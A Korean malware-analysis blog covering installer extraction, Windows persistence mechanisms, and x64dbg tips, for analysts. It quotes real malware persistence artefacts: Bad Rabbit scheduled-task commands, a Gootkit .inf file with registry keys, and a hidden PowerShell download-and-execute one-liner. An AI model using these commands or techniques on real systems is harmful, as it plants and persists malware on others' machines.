'2018/12'에 해당되는 글 6건

  1. 2018.12.16 인스톨러들 분석
  2. 2018.12.16 악성코드 지속 메커니즘
  3. 2018.12.16 TotalCommand 자동화
  4. 2018.12.15 x64dbg 분석 팁
  5. 2018.12.15 디버거로 덤프 뜨기 1
  6. 2018.12.10 [Tool] ejExtractor



0. 개요

1. Inno Setup

2. NSIS ( NullSoft Install System )

3. msi ( Microsoft Installer )





0. 개요

  프로그램을 설치한다는 것은 단순히 내부에 압축된 파일을 풀고 특정 폴더에 위치시키는 것이 전부인 경우가 많을 것이다. 물론 이미 설치된 경우에는 지우는 기능이 추가되어 있을 수도 있고, 설치 파일에서 드랍하는 방식이 아니라 다운로드하는 방식일 수도 있다. 이러한 기능들 외에도 레지스트리를 등록하는 등의 추가적인 기능이 존재할 수 있다.


  바이너리를 분석하다 보면 설치 과정 중 크래시가 나는 경우라던지 아니면 실행시키지 않고 정적으로 분석하고 싶은 경우가 있을 수 있다. 이러한 경우에는 내부의 파일을 추출하는 기능이 있으면 편리하다. 꼭 파일 뿐만 아니라 다운로드하여 설치하는 인스톨러라면 그 스크립트를 추출할 수 있으면 굳이 직접 설치할 필요 없이 분석을 진행할 수 있다.


  대부분의 경우 그냥 설치한 후 설치된 파일을 가지고 분석하면 되겠지만 가끔씩 필요한 경우가 생기며 이 때 유용하게 사용할 수 있는 방식들을 정리하려고 한다.





1. Inno Setup

  대표적으로 많이 사용되는 인스톨러 프로그램 중 하나이다. 간단하게 InnoExtractor라는 툴 하나만 있으면 된다. 내부의 파일들 뿐만 아니라 설치 스크립트 파일까지 추출할 수 있다. 설치 스크립트는 .iss 확장자를 가진 텍스트 파일이다. 직과적이기 때문에 어떤 파일이 어디에 어떤 이름으로 위치하게 되는지 등의 정보를 확인할 수 있다.


  드래그 앤 드랍으로 설치 파일을 InnoExtractor에 드랍하면 많은 정보를 한 눈에 확인할 수 있다. 설치될 파일들은 "Application" 폴더에 존재하며, 설치 스크립트 파일은 "Script Files (Installer)" 폴더에서 확인할 수 있다. 장점으로 원하는 파일만 드래그 앤 드랍으로 추출할 수도 있다.


  간단하지만 암호가 걸린 경우도 있다. 이 때는 "Application" 폴더에 위치한 설치될 파일들을 추출할 때 암호가 필요한데, 굳이 이런 경우라면 그냥 설치하면 될 것이기 때문에 큰 상관은 없어보인다.


  앞에서도 언급했듯이 스크립트가 중요한 이유는 인스톨러가 다운로드 기능을 포함할 수 있기 때문이다. 기본적으로 제공되는 기능은 아닌것 같고 IsTools나 InnoTools Downloader라는 DLL로 제공되는 일종의 플러그인을 사용해야 한다. 물론 분석할 때는 간단하게 스크립트 파일에서 url만 확인하면 될 것이다.


  마지막으로 InnoExtractor 외에도 innounp라는 커맨드 라인 도구도 존재한다. 자동화를 하고자 할 때 이 커맨드 라인 프로그램을 이용하면 쉽게 자동화 스크립트를 작성할 수 있을 것이다.





2. NSIS ( NullSoft Install System )

  널소프트 인스톨러는 7z 같은 압축 프로그램으로 간단하게 압축을 해제할 수 있다. 압축을 해제한 후 내부 폴더를 보면 $PLUGINSDIR 등의 폴더와 설치될 파일들을 확인할 수 있다. 참고로 이 내부에 system.dll을 거의 항상 볼 수 있을 것이다.


  스크립트 파일은 .nsi 확장자를 가진 텍스트 파일이다. 널소프트의 경우도 Inno Setup 처럼 다운로더 기능을 가질 수 있다. 그렇기 때문에 스크립트가 중요하다. 과거에는 7-zip을 이용하여 압축 해제 시에 딱히 .nsi 스크립트 파일을 확인할 수 없어서 불가능한 것으로 알고 있었지만, 7-zip의 버전 9.34 부터 15.06 까지는 이 .nsi 스크립트도 압축 해제할 수 있다는 것을 알게 되었다. 즉 과거의 특정 버전부터 특정 버전들 사이에 .nsi 스크립트 해제 기능이 존재했었다는 것이다. 해당 버전을 설치하고 압축 해제를 진행해보니 이전에 사용했던 것과는 다르게 "[NSIS].nsi" 파일이 추가적으로 압축 해제가 가능했다. 


  결론적으로 v9.34 - v15.06 사이의 7-zip을 설치하면 이것도 InnoSetup과 같이 스크립트 추출이 가능하다.


  NSIS는 악성코드에서도 자주 사용된다. system.dll을 보면 Call() 함수를 Export하는 것을 확인할 수 있는데 스크립트에서 이 함수를 이용해 kernel32.dll 같은 dll의 함수를 이용할 수 있다고 한다. 사실 복잡하게 해당 함수들을 이용해 코딩하는 수준 까지는 확인하지 못했다. 몇 개의 악성코드들을 확인한 결과 쓰레기 파일들과 함께 인코딩된 데이터, 실제 악성 행위를 하는 dll 파일을 드랍한 후 Call() 함수를 이용해 해당 DLL을 로드하거나 (DllMain()에 악성 루틴이 있는 경우) 아니면 해당 DLL이 export하는 특정 함수를 호출하면 이곳에 악성 루틴이 존재하여 인코딩된 데이터 파일을 읽은 후 이를 복호화하여 인젝션하는 등의 방식이었다.


  사실 실질적인 루틴은 드랍되는 dll에 있긴 하지만 그래도 디버깅을 통해 이러한 방식이라는 점을 확인하는 것 보다는 간단하게 .nsi 스크립트를 읽어와 쓰레기 파일과 실제 필요한 파일을 구분하고, 어떤 메커니즘으로 동작하는 가를 확인하는 것이 더 정확하고 빠른 분석이 가능하다고 생각한다.





3. msi ( Microsoft Installer )

  널소프트 인스톨러처럼 압축 프로그램을 이용하여 내부의 파일들을 추출할 수 있다. 확장자가 나와 있지는 않지만 어차피 크기만 보고도 PE인지 확인할 수 있을 것이다.


  특이점은 msi의 경우 파일의 시그니처가 doc, xls 같이 "D0 CF"로 시작한다는 점이다. 즉 msi 파일은 위의 다른 인스톨러들처럼 실행 파일이 아니라 데이터 파일이다. msi 파일을 실행할 경우 msiexec.exe라는 프로그램이 자동으로 이 msi 파일을 가지고 설치를 진행한다.


  msi 파일을 더블 클릭하면 다음과 같이 msiexec.exe가 msi를 인자로 받고 실행된다. 참고로 /i 인자는 install 즉 설치를 의미한다.

> msiexec.exe /i "$PATH\aaa.msi"


  중요한 점은 msiexec.exe가 msi 파일을 받을 때 현재 로컬에 있는 경우 뿐만 아니라 web에서도 받아와서 설치할 수 있다는 것이다. 즉 특정 주소에 msi 파일을 올려놓은 후 인자로 해당 msi 파일을 포함한 URL 주소를 넣고 msiexec.exe를 실행시킬 경우 다운로드 및 설치가 진행된다.

> msiexec.exe /i "http://www.aaa.co.kr/data/aaa.msi"


  msi 파일은 분석용으로 "jsMSIx.exe"라는 프로그램이 가장 괜찮아 보인다. 7z로 압축을 푸는 경우에는 설치될 exe 파일만 확인할 수 있겠지만 이 툴로 푸는 경우 exe 파일이 어느 디렉터리에 설치될지에 따라 해당 위치에 대한 디렉터리들까지 생성하여 exe를 위치시키기 때문에 더 많은 정보를 확인할 수 있다. (물론 실제 위치는 아니고 결과 폴더 내부에 적절하게 위치된다) 또한 msi 파일의 경우 파일 설치 외에도 레지스트리를 설정하는 것도 가능한데 jsMSIx.exe는 결과 폴더에 같이 생성되는 "MSI Unpack.log" 파일을 통해 어느 레지스트리 키가 생성되는지 또한 어느 값이 설정되는지도 동시에 파악할 수 있다. 즉 직접 설치하지 않고 어느 폴더에 어느 파일이 생성되며 어느 레지스트리 키가 생성되는지 등의 정보를 확인할 수 있는 것이다.



'악성코드 분석' 카테고리의 다른 글

파워셸(PowerShell)과 악성코드  (0) 2019.01.31
Access Token 및 권한과 Integirity Level에 대한 정리  (0) 2019.01.27
악성코드 지속 메커니즘  (0) 2018.12.16
TotalCommand 자동화  (0) 2018.12.16
x64dbg 분석 팁  (0) 2018.12.15
Posted by SanseoLab



0. 개요

1. File Infection

2. DLL 로딩 순서 하이재킹

3. 레지스트리

4. 서비스

5. 작업 스케줄러

6. COM Object Hijacking

7. 루트킷

8. etc





0. 개요

  여기서는 윈도우 시스템에서의 악성코드 지속 메커니즘(Persistence Mechanism)을 다룬다. 악성코드는 프로그램이며 그래서 실행될 필요가 있다. 가장 처음 바이너리의 주입 및 실행을 통한 감염 이후 단편적인 행위만 수행하고 스스로 삭제되는 형태가 아니고서야 대부분의 악성코드는 지속적으로 컴퓨터에 남아 프로세스로서 실행되면서 악의적인 행위를 수행할 것이다. 

  하지만 악성코드의 대상은 대부분 데스크탑 컴퓨터일 것이기 때문에 시스템 종료 같은 변화가 생긴다. 악성코드 바이너리는 컴퓨터에 남아 있겠지만 악의적인 행위를 하기 위해서는 프로세스로서 실행되어야 하기 때문에 시스템 부팅 시 마다 또는 악의적인 대상이 되는 프로세스의 실행 시 마다 악성코드가 프로세스로서 실행중일 필요가 있다. 그러기 위해서는 부팅 시에 실행되게 하거나 대상 프로세스를 가질 시에 적어도 이 프로세스가 실행될 때 마다 악성코드가 실행되어야 할 필요가 있다.





1. File Infection

  이 방식은 공격 대상 파일을 감염시켜서 악의적인 행위를 수행하게 한다. 다양한 방식으로 사용될 수 있지만 기본적으로 중간에 흐름을 가로채는 것과 악의적인 루틴이 삽입되는 것을 공통점으로 갖는다. 그리고 실행 파일 자체를 감염시킬 수도 있지만 로드되는 DLL을 감염시킬 수도 있다.

  만약 대상 프로그램이 실행될 때 마다 악의적인 행위를 수행할 필요가 있다면 프로그램 초기에 또는 특정한 함수 호출 시마다 미리 심어놓은 루틴으로 분기시켜서 악의적인 행위를 수행하게 할 수 있다. 또는 이 프로그램이 시스템 부팅 시 마다 실행되는 프로세스라면 컴퓨터를 켤 때마다 악의적인 루틴이 실행될 수 있다. 이 프로세스가 종료 시 까지 유지되지 않는다고 하더라도 독립적으로 존재하는 악성코드를 실행시킨는 루틴을 삽입할 수 있다.





2. DLL 로딩 순서 하이재킹

  프로세스가 DLL을 로드할 때는 특정한 순서가 존재한다. 가장 먼저 프로세스의 실행 파일이 존재하는 디렉터리에서 찾은 후 존재하지 않는다면 현재 디렉터리 그리고 시스템 디렉터리 순으로 찾게 된다. 만약 DLL 로드 시에 제대로 검증하지 않는다면 로드할 DLL의 이름과 같은 이름을 가진 악의적인 DLL을 더 높은 우선순위를 가진 디렉터리에 넣어 DLL 하이재킹을 수행할 수 있다. 결론적으로 특정 프로세스 실행 시에 악의적인 DLL이 로드됨으로써 코드가 실행될 수 있다.





3. 레지스트리

  가장 대표적인 방식으로서 많은 악성코드에서 사용된다.


3.1 Run / RunOnce


[ HKCU\Software\Microsoft\Windows\CurrentVersion\Run ]

[ HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce ]

[ HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnceEx ]

[ HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ]

[ HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce ]

[ HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx ]


  HKCU에 존재하는 값은 일반 사용자도 수정할 수 있지만 HKLM의 경우에는 관리자 권한이 필요하다. 대신 HKLM은 전체 시스템에서 모두 통하는 방식이지만 HKCU의 경우에는 해당 사용자 부팅 시에만 실행된다. 그리고 RunOnce는 오직 한 번만 실행되고 이후에는 삭제되므로 시스템 부팅 시 마다 실행하고 싶은 경우에는 Run을 사용한다. 마지막으로 RunOnce는 프로그램 시작 이후로 바로 레지스트리 키를 삭제하지만 RunOnceEx는 종료된 후에 삭제한다.



3.2 Windows\load / run


[ HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\load ]

[ HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\run ]


  유저 로그온 시 실행된다.



3.3 Policies\Explorer\Run


[ HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run ]

[ HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run ]


- Group Policy에서 설정한 경우 반영되는 레지스트리

- 액티브 디렉터리(인증 관리 등 컴퓨터 네트워크의 자원 관리)와 관련된 개념

- 관리자가 정책을 할당하고 관리할 수 있다.



3.4 WinLogon 프로세스에서 사용되는 키들

  winlogon.exe는 사용자 로그온 시에 실행되는 프로세스로서 인증과 초기화 등을 담당한다.


[ HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon - Userinit ]


  WinLogon은 초기화를 진행하기 위해 이곳의 Userinit 키에 명시된 값을 시작한다. 일반적으로 값은 userinit.exe이며 이 프로세스가 초기화를 진행한다. 하지만 이 값을 수정할 수 있기 때문에 부팅 시 마다 악성코드를 실행시키는데 사용될 수 있다.


[ HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon - Shell ]

[ HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon - Shell ]


  WinLogon은 마지막에 Shell을 실행시키는 역할도 수행하는데 윈도우에서 셸은 기본적으로 EXPLORER이다. 그러므로 디폴트 값은 explorer.exe다. 이것도 마찬가지로 수정할 수 있다.



3.5 Startup Keys


[ HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders - Startup ]

[ HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders - Startup ]

[ HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders - Startup ]

[ HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders - Startup ]


  디폴트 값은 %USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup이다. 즉 우리에게 익숙한 "시작 프로그램" 폴더이다.



3.6 Browser Helper Objects (BHO)


[ HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects ]


  BHO는 브라우저에서 추가적인 기능을 지원하기 위해 만들어진 플러그인 형태의 DLL 모듈이다. 실질적인 내용은 IE 실행 시에 이 DLL이 로드되기 때문에 악성코드가 사용한다. 참고로 BHO는 윈도우 10의 IE 11에서도 아직 지원된다고 한다. 물론 Edge는 지원하지 않는다.



3.7 서비스

  서비스도 레지스트리와 많은 연관이 있다. 이 부분은 따로 뒤에서 자세히 정리하겠다.



3.8 AppInit_DLLs

[ HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs ]

  여기에 저장된 값 즉 경로는 User32.dll의 DLL_PROCESS_ATTACH 과정에서 LoadLibrary() 함수를 통해 로드된다. 대부분의 실행 파일들이 user32.dll을 로드하기 때문에 많은 악성코드가 자주 사용하는 레지스트리이다.


[ HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\AppCertDLLs ]

  이 외에도 AppCertDlls 레지스트리도 존재한다. 위와의 차이점은 CreateProcess(), CreateProcessAsUser(), CreateProcessWithLogonW(), CreateProcessWithTokenW(), WinExec()를 호출하는 프로세스에만 로드된다는 것이다.



3.9 IFEO ( Image File Execution Options )


[ HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options ]


  원래 프로세스 실행 시에 자동으로 디버거가 Attach시키도록 하는 방식으로 사용된다. 악성코드는 자신을 여기에 등록시킬 수 있다.



3.10 GPO (Group Policy Object)를 이용한 방식


  Gootkit 악성코드에서 사용된 방식이다. 이 악성코드는 APPDATA 폴더에 정상과 유사한 이름의 디렉터리를 생성하고 악성코드를 복사한다. 동시에 같은 이름을 가진 .inf 파일을 동일한 폴더에 복사한다. 다음 [ https://forums.juniper.net/t5/Threat-Research/New-Gootkit-Banking-Trojan-variant-pushes-the-limits-on-evasive/ba-p/319055 ] 링크에서 사용된 샘플을 예시로 든다.


File Path : %APPDATA%\\Microsoft\Internet Explorer\mounper.exe

Inf Path : %APPDATA%\\Microsoft\Internet Explorer\mounper.inf


  .inf 파일의 내용은 다음과 같다.


[Version]

signature = "$CHICAGO$"

AdvancedINF = 2.5, "You need a new version of advpack.dll"


[DefaultInstall]

RunPreSetupCommands = fvybqltbgwzfaxgrgbktmbjcnfbcgu:2


[fvybqltbgwzfaxgrgbktmbjcnfbcgu]

C:\Users\Administrator\AppData\Roaming\Microsoft\Internet Explorer\mounper.exe



  이후 다음 레지스트리 키들을 생성한다.


[ HKCU\Software\Microsoft\IEAK\GroupPolicy\PendingGPOs\Section1 - DefaultInstall ]

[ HKCU\Software\Microsoft\IEAK\GroupPolicy\PendingGPOs\Count - 4 ]

[ HKCU\Software\Microsoft\IEAK\GroupPolicy\PendingGPOs\Path1 - %APPDATA%\\Microsoft\Internet Explorer\mounper.inf ]


  여기까지 완료되면 Run Key를 등록한 것과 같이 이후 재부팅 시에 실행된다.





4. 서비스

  서비스는 윈도우가 부팅될 때 자동으로 실행되며 지속적으로 존재한다. 이러한 특징 외에도 은닉과 관련된 특징이 존재하기 때문에 악성코드는 자신의 지속 메커니즘으로써 서비스를 이용하는 경향이 많다. 블로그에 "윈도우의 서비스"에 대한 글이 존재하기 때문에 여기서는 간단하게만 정리하기로 한다. exe 형태의 실행 파일은 다음의 레지스트리에 저장된다.


[ HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services ]


  위의 키에 악성코드의 경로가 등록되어 있고 윈도우는 부팅 시 이 레지스트리를 참고하여 등록된 서비스들을 실행시킬 것이다. 

  Windows NT 이전 버전에서는 다음의 레지스트리 키들이 사용자 로그온 이전에 프로그램을 실행하는데 사용되었다. 그 이후부터는 services.exe 즉 SCM이 사용자 로그온 이전의 시스템 서비스들에 대한 로드를 담당한다.


[ HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce ]

[ HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices ]





5. 작업 스케줄러

  관련 내용은 다음 링크에 더 자세하게 나와있다. [ http://sanseolab.tistory.com/68 ]


  다음으로는 여러 예제들을 보면서 어떤 방식으로 사용되는지를 살펴보았다.



- 예제 1 ]

http://securityfactory.tistory.com/293

  여러 정보를 저장한 xml 파일을 만든 후 다음 명령어를 통해 인자로 xml 경로를 넣고 실행한다.


> schtasks.exe /Create /TN "Update\Window" /XML "경로명"



- 예제 2 ] Bad Rabbit

http://blog.alyac.co.kr/1377


  위의 링크를 보면 xml 파일 관련해서 나오는데 검색해보니 다른 자료에서는 xml 관련한 내용이 나오지 않고 명령어를 봐도 xml을 이용하지 않고 직접 입력하는 방식으로 보인다. 명령어는 각각 다음과 같다.


cmd.exe /c schtasks /Create /SC once /TN drogon /RU SYSTEM /TR %WinDir%\system32\shutdown.exe /r /t 0 /f /ST : 시간


cmd.exe /c schtasks /Create /RU SYSTEM /SC ONSTART /TN rhaegal /TR %WinDir%\system32\cmd.exe /C Start \\ \%WinDir%\dispci.exe\ -id [랜덤숫자]&& exit



- 예제 3 ]

https://kkomak.wordpress.com/2017/06/01/%EC%B5%9C%EA%B7%BC-%EC%9D%B4%EC%8A%88%EB%90%9C-%EA%B5%AD%EB%82%B4-%EC%B7%A8%EC%95%BD%ED%95%9C-activex-%ED%94%84%EB%A1%9C%EA%B7%B8%EB%9E%A8-%EA%B4%80%EB%A0%A8/ ]


  이것을 보면 at을 아직 사용할 수 있는것 같기도 하다.


“cmd /c c:\windows\system32\at.exe “,” powershell -nop -nologo -wind hidden (New-Object System.Net.WebClient).DownloadFile(‘http://xxxx.xx.xx/xxxx/xx/rss.php’,’c:\windows\temp\iexplore.exe’);(New-Object -com Shell.Application).ShellExecute(‘c:\windows\temp\iexplore.exe’);





6. COM Object Hijacking

  COM과 관련한 기본적인 내용은 다음 링크를 참고한다.  [ http://sanseolab.tistory.com/49 ]


  HKCR\CLSID\의 값들은 HKLM\SOFTWARE\Classes\CLSID\와 HKCU\SOFTWARE\Classes\CLSID\의 조합이다. 문제는 우리가 관리자 권한이 없어도 HKCU\SOFTWARE\Classes\CLSID\의 값을 조작할 수 있다는 점이다.


  어떤 응용 프로그램이 COM을 이용하는 경우 HKCR\CLSID\에서 상응하는 CLSID를 검색한다. 여기에는 보통 DLL의 경로가 들어있으며 COM을 초기화한 경우 이 DLL이 로드된다. COM Object Hijacking은 이 DLL의 경로를 악성코드 DLL의 경로로 수정하게 된다. 이를 통해 DLL 인젝션 등의 방식 없이도 특정 응용 프로그램 실행 시에 자동으로 악성 DLL이 로드되게 할 수 있다.





7. 루트킷

  생략.





8. etc

  꾸준히 다양한 방식들이 나오고 있다.


Appx/UWP 앱의 디버거를 이용한 방식 (레지스트리) : https://oddvar.moe/2018/09/06/persistence-using-universal-windows-platform-apps-appx/amp/?__twitter_impression=true ]



'악성코드 분석' 카테고리의 다른 글

Access Token 및 권한과 Integirity Level에 대한 정리  (0) 2019.01.27
인스톨러들 분석  (0) 2018.12.16
TotalCommand 자동화  (0) 2018.12.16
x64dbg 분석 팁  (0) 2018.12.15
디버거로 덤프 뜨기  (1) 2018.12.15
Posted by SanseoLab

  여기에는 토탈커맨드 프로그램을 이용한 대량 데이터 처리 자동화에 대해서 정리한다. 그때 그때 괜찮다고 생각되는 부분을 추가할 것이다.



1. 다수의 파일들에서 내부 특정 문자열 검색

  다수의 텍스트 파일들 중에서 특정 문자열이 들어간 파일들만 추출하여 다른 곳으로 옮기는 방식이다. 먼저 "파일 찾기"를 누르고 아래의 "문자열" 부분을 체크하고 검색창에 찾을 문자열을 입력한다. 위의 "찾을 파일"은 파일명을 기준으로 찾지만 아래의 문자열 검색은 해당 경로 내부의 모든 파일들에 대해서 내부의 문자열을 찾아주는 매우 유용한 기능이다.



2. 검색 결과 파일들 옮기기

  1번의 결과로 다수 파일들이 나올 것이다. 오른쪽 아래를 보면 "목록 창에 입력" 버튼이 있으며 클릭하면 결과가 목록으로 보인다. 이것들을 모두 선택하고 (간단하게 Ctrl+A를 사용해도 된다) 오른쪽 페이지에는 옮길 폴더를 선택한후 드래그 앤 드랍을 하면 추출된 결과만 복사하는 것이 가능하다. 아예 옮기고 싶다면 마우스 왼쪽 버튼으로 드래그한 후 마우스 오른쪽 버튼도 같이 클릭하면 복사가 아닌 이동이 된다.


 



'악성코드 분석' 카테고리의 다른 글

인스톨러들 분석  (0) 2018.12.16
악성코드 지속 메커니즘  (0) 2018.12.16
x64dbg 분석 팁  (0) 2018.12.15
디버거로 덤프 뜨기  (1) 2018.12.15
[Tool] ejExtractor  (0) 2018.12.10
Posted by SanseoLab

0. 개요

1. 팁

2. 명령어

3. 구조체 관련

4. 플러그인





0. 개요

  x64dbg는 기본적으로 OllyDbg와 매우 비슷하기 때문에 굳이 여기에서까지 상세한 정리를 할 필요는 없을 것 같다. 다음 링크를 보고 필요한 부분은 찾은 후에 x64dbg에서 직접 찾으면 될 것 같다. [ http://sanseolab.tistory.com/8 ]


  그렇기 때문에 여기서는 OllyDbg에서는 없는 부분이던가 아니면 기능이 추가된 부분을 위주로 설명한다. 아직까지는 많이 파악하지 못했기 때문에 이 포스트에서 전체를 담을 것이며 이후에 계속 추가되어 가다가 양이 많아지면 주제에 따라 나눌 생각이다.





1. 팁

- 먼저 수 많은 창들이 이미 켜져 있는 것 같지만 몇 개는 덜 보이는 것들이 있다. 대표적으로 Label (레이블) 창이 그렇다. OllyDbg에는 없는 기능인데 평소 굉장이 필요하다고 생각했던 것이었다. 그리고 이것에 더해 "함수" 창도 유용하게 사용할 수 있다. 다른 기능들도 많으며 명령어를 사용하는 기능의 경우에는 아래에서 설명하겠다.


- Label과 관련해서는 OllyDbg 문서에서 찾아보면 되고 여기에서는 x64dbg의 추가적인 부분을 설명한다. OllyDbg에서는 Label을 통해 함수 첫 부분이나 메모리의 주소에 Label을 달아서 그 부분을 참조할 때 즉 함수 호출이나 메모리 참조 시에 주소 대신 이름으로 보여줄 수 있게 해주었다. 

  x64dbg에서는 이것에 더해서 함수인 경우에 추가적인 기능을 제공해 준다. 함수 주소의 첫 부분을 마우스 오른쪽 버튼으로 클릭한 경우 함수에 등록되어 "함수" 창에서 볼 수 있다. 디폴트로 이름은 sub_address 형태이지만 이후 Label을 붙여주면 함수 이름도 변경할 수 있다. 기본적인 Label 기능에 함수만 따로 정리해서 볼 수 있는 기능이 추가된 것 뿐이지만 막상 디스어셈블러의 결과를 임포트하거나 직접 분석하면서 이름 붙인 경우에 직접 하나씩 찾는것 보다는 훨씬 편한 기능이다.


- "핸들" 창과 관련해서도 OllyDbg보다 훨씬 많은 정보를 주기 때문에 분석 중에 유용하게 사용할 수 있다.





2. 명령어

  잘 쓰지는 않겠지만 대부분의 명령어들이 간단해서 쉽게 사용할 수 있을 것이다. 문제는 예제로서 문서화가 잘 되어있지 않고 설명도 부족한 것이 많다.


  명령어의 경우 간단한 결과는 명령어 창의 아래에서 바로 확인 가능하지만 제대로 된 결과를 원한다면 "로그" 창을 확인해야 한다.


- exhandlers : 이 명령어는 SEH 뿐만 아니라 VEH, Unhandled 핸들러까지 모두 보여준다. 물론 대부분 SEH의 결과를 원할 것이기 때문에 스택 창과 "SEH" 창만 확인해도 별 문제 없겠지만 분석하다 Unhandled Exception 핸들러 함수도 종종 중요하게 사용되기 때문에 분석할 때마다 여기에 BP를 걸어놓지 않아도 이 명령으로 쉽게 찾을 수 있다는 것이 장점이다.

  문제는 일반적인 경우 SEH 핸들러만 결과가 나오고 나머지는 symbol과 관련된 문제 때문에 정보가 나오지 않는다. 이 경우에는 심볼을 다운로드 받아야 한다.


- symdownload / downloadsym : x64dbg는 직접 설정할 필요 없이 디폴트로 마이크로소프트의 심볼 서버가 등록되어 있다. 문제는 이것을 명령어를 통해 직접 다운로드 받아야 한다는 것이다. 간단하게 이 명령어를 사용하면 심볼을 다운로드 받아 분석에 도움도 되며 위의 exhandlers 명령어를 제대로 사용할 수 있다. 참고로 모든 심볼을 다운로드 받는 것이 아닌 현재 바이너리에서 사용되는 dll들의 심볼만 다운로드 받는다. 심볼을 이용하는 방식은 OllyDbg도 가지고 있는 기능이다.


- hidedebugger : 안티디버깅과 관련해서는 대부분 플러그인을 쓰겠지만 x64dbg 내부적으로도 간단한 기능이 존재한다. 이 명령어가 정확히 어떤 기능을 하는지 찾아보니 x64dbg의 소스에는 없고 x64dbg가 사용하는 디버깅 엔진인 TitanEngine의 소스 코드에서 확인할 수 있었다. x64dbg에서는 내부적으로 PathAPILevel을 0으로 설정해서 호출하기 때문에 실질적으로 PEB 관련 기능만 사용한다. 즉 PEB.BeingDebugged를 false로, PEB.NtGlobalFlag를 NULL로 설정해 주는 기능이다.



2.1 언패킹

  다음 링크에 간단한 명령어를 이용한 언패킹 스크립트들이 있다. 패커들의 경우 특별히 안티디버깅 기법들이 없기 때문에 몇 줄의 명령만으로 OEP까지 자동으로 갈 수 있다. upx, mpress, ASPack 등 다수의 패커들 뿐만 아니라 지원되는 경우 x64 버전까지 OEP로 갈 수 있게 해주는 스크립트들이다. https://github.com/SanseoLab/ejUnpacker ]





3. 구조체 관련

  OllyDbg 문서에서 설명하였듯이 구조체 기능이 있어서 가끔은 유용하게 사용할 수 있다. OllyDbg는 기본적으로 자주 사용되는 구조체 DB를 지원해 주며 문서화되지 않은 방식으로 사용자가 직접 추가하는 방식도 존재한다.


  x64dbg에서는 기본으로 제공해주는 구조체 DB는 존재하지 않는다. 그래서 직접 만들어야 한다. 개인적으로 분석을 공부하면서 눈에 띄는 구조체들을 찾아서 직접 추가한 후 깃허브에 올리도록 하겠다.


  사실 구조체는 객체 지향 언어로 만든 프로그램을 분석할 때 유용하게 사용할 수 있다. C++나 델파이에서 객체는 결국 구조체 형태로 사용되므로 멤버 인스턴스들의 구조를 쉽게 파악할 수 있다. 문제는 객체라는 것이 할당과 해제가 반복되는데 그때마다 적용하는 것 까지는 좋지만 결국 찾아봐야 한다는 점이다.


  그래서 개인적으로 플러그인을 만들 생각이다. 첫 번째 기능은 PEB나 TEB 같이 프로세스 시작 시 항상 같은 것들의 경우 초기화 시에 구조체를 파악하고 이후 자동으로 Label을 달아주는 것이다. 많은 패킹된 악성코드들이 Ldr 구조체 등을 이용해 Kernel32.dll의 Export Table로 LoadLibrary()나 GetProcAddress() 함수 호출 대신 직접 함수 주소를 구한다. 이 경우 해당 구조체에도 Label을 달아주면 진행하면서 주소 대신 구조체 멤버의 이름을 확인할 수 있으므로 대충 보더라도 이 부분인 것을 확인할 수 있을 것이다.


  다음으로 객체의 경우 분석이 선행되어야 하겠지만 멤버를 파악한 이후에는 다시 분석할 때 할당 이후 직접 이 플러그인을 사용하여 자동으로 구조체의 주소와 멤버에 Label을 달아줌으로써 이후 여기에 접근할 때 주소 대신 이름으로 접근할 수 있게 하는 것이다. 물론 객체가 해제될 때 자동으로 Label을 제거해주는 기능이 있다면 더 괜찮아 보인다.


  객체나 변하지 않는 구조체들 외에도 유용하게 사용할 수 있는데 악성코드 PE 파일 자체를 패킹하여 메모리 내에 저장되어 있을 때 덤프를 뜨면서 그 구조를 파악하는 용도로도 쉽게 사용할 수 있다. 물론 OllyDbg의 경우 PE 관련 구조체는 이미 존재한다.


  첫 번째 기능은 어느 정도 분석해 가면서 빨리 패킹을 풀어 나갈때, 그리고 두 번째 기능은 C++는 그렇다고 치더라도 델파이라는 언어를 분석해 나갈 때 유용하게 사용할 수 있을 것으로 보인다. 물론 선행 작업은 기본적인 DB를 만들어 놓는 것이다. 아래는 만들고 있는 DB이며 꾸준히 업데이트 시켜 나갈 생각이다.


https://github.com/montouesto/Structure-DB ]


  DB는 없지만 필요한 것을 적용하는 방식에 대해서 설명하기로 한다. 명령어, 헤더 파일, JSON 파일 이렇게 3가지 종류가 있는데 JSON 방식은 제외하고 설명한다. JSON은 이곳을 참고하자. [ https://gist.github.com/mrexodia/e949ab26d5986a5fc1fa4944ac68147a ]



3.1 명령어를 이용하는 방식

  명령어로 구조체나 Union을 선언해서 사용하는 경우는 휘발성이므로 스크립트를 따로 만들지 않는 이상 직접 파일을 만들어 두는 것이 좋을 것 같다.


먼저 다음 명령으로 "struct_1"이라는 구조체를 생성한다.

: AddStruct struct_1

이후 "int" 타입의 멤버 "mem_1", "mem_2"을 추가한다.

: AddMember struct_one, int, member_1

: AddMember struct_one, int, member_2

참고로 타입은 다음 명령어를 통해 로그 창에서 확인 가능하다.

: EnumType


